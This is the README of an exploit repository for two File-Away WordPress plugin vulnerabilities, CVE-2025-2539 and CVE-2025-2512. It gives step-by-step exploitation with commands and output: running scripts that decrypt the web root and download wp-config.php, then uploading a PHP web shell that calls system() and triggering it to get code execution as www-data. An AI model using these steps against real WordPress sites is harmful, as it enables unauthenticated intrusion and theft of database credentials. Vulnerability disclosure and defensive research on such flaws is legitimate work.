File-Away Exploit (CVE-2025-2539 & CVE-2025-2512)
=================================================


📌 Purpose
----------

This repository contains vulnerabilities details and scripts found on [File-Away](https://wordpress.org/plugins/file-away/), which is a WordPress plugin used to file management.

This plugin contains two vulnerabilities that can lead to remote code execution (*Tested on File-Away 3.9.9.0.1*):
- [CVE-2025-2539](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-away/file-away-39901-missing-authorization-to-unauthenticated-arbitrary-file-read): Unauthenticated arbirtrary file read
- [CVE-2025-2512](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-away/file-away-39901-missing-authorization-to-unauthenticated-file-upload-via-upload-function): Unauthenticated arbirtrary file upload


📖 Unauthenticated arbirtrary file read
---------------------------------------

The File-Away plugin for WordPress is vulnerable to unauthenticated arbitrary file read in all versions up to, and including, 3.9.9.0.1.

This vulnerability exists because of two problems, the lack of authentication verification in the `lib/cls/class.fileaway_stats.php:file_away_stats->ajax()` function and the use of a weak encryption algorithm in the `lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt()` function.

This makes it possible for unauthenticated attackers to read arbitrary files including the WordPress configuration file (`wp-config.php`).


📁 Unauthenticated arbirtrary file upload
-----------------------------------------

The File-Away plugin for WordPress is vulnerable to unauthenticated arbitrary file upload in all versions up to, and including, 3.9.9.0.1.

This vulnerability exists because of two problems, the lack of authentication verification and the bad file type verification, both in the `lib/cls/class.fileaway_management.php:fileaway_management->upload()` function.

This makes it possible for unauthenticated attackers to upload arbitrary files that can lead to code execution.


🔍 Detection
------------

If the file-away plugin is installed and enabled on the targeted WordPress instance, the `fileaway_stats` nonce should be present on the index page:

```bash
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
```
```
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
```


🐞 Exploitation steps
---------------------

0. Install `python` requirements:

    ```bash
    python3 -m venv venv && venv/bin/pip install httpx
    ```

1. Use the [arbitrary file read vulnerability](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-away/file-away-39901-missing-authorization-to-unauthenticated-arbitrary-file-read) to get the WordPress instance configuration file (`wp-config.php`):

    ```bash
    venv/bin/python3 get_config.py -t http://127.0.0.1:8000
    ```
    ```
    [+] File-Away nonce:          ff57064c96
    [-] Encrypted web root:       LcZh3iec7c3vfHRt2C8=
    [-] Decoder:                  .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
    [-] Charset:                  abcdefghijklmnopqrstuvwxyz0123456789
    [+] Encryption Key:           f2379aghijklmnopqrstuvwxyz65bc410d8e
    [+] Decrypted web root:       /var/www/html
    [+] Config file downloaded:   127.0.0.1:8000_wp-config.php
    ```

2. Create a `PHP` file to upload:

    ```bash
    echo '<?php system("id"); ?>' > /tmp/exec.php
    ```

3. Use the [arbitrary file upload vulnerability](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/file-away/file-away-39901-missing-authorization-to-unauthenticated-file-upload-via-upload-function) to upload the `PHP` file on the server:

    ```bash
    venv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
    ```
    ```
    [-] nonce:            4810861b18
    [-] upload_nonce:     0c3f44ae83
    [-] loc_nonce:        a17a2df989
    [+] File uploaded:    http://127.0.0.1:8000/wp-content/exec.php
    ```

    ***⚠️ The file is uploaded in the `wp-content` directory by default ⚠️***

4. Access the uploaded `PHP` file:

    ```bash
    curl -sk http://127.0.0.1:8000/wp-content/exec.php
    ```
    ```
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ```
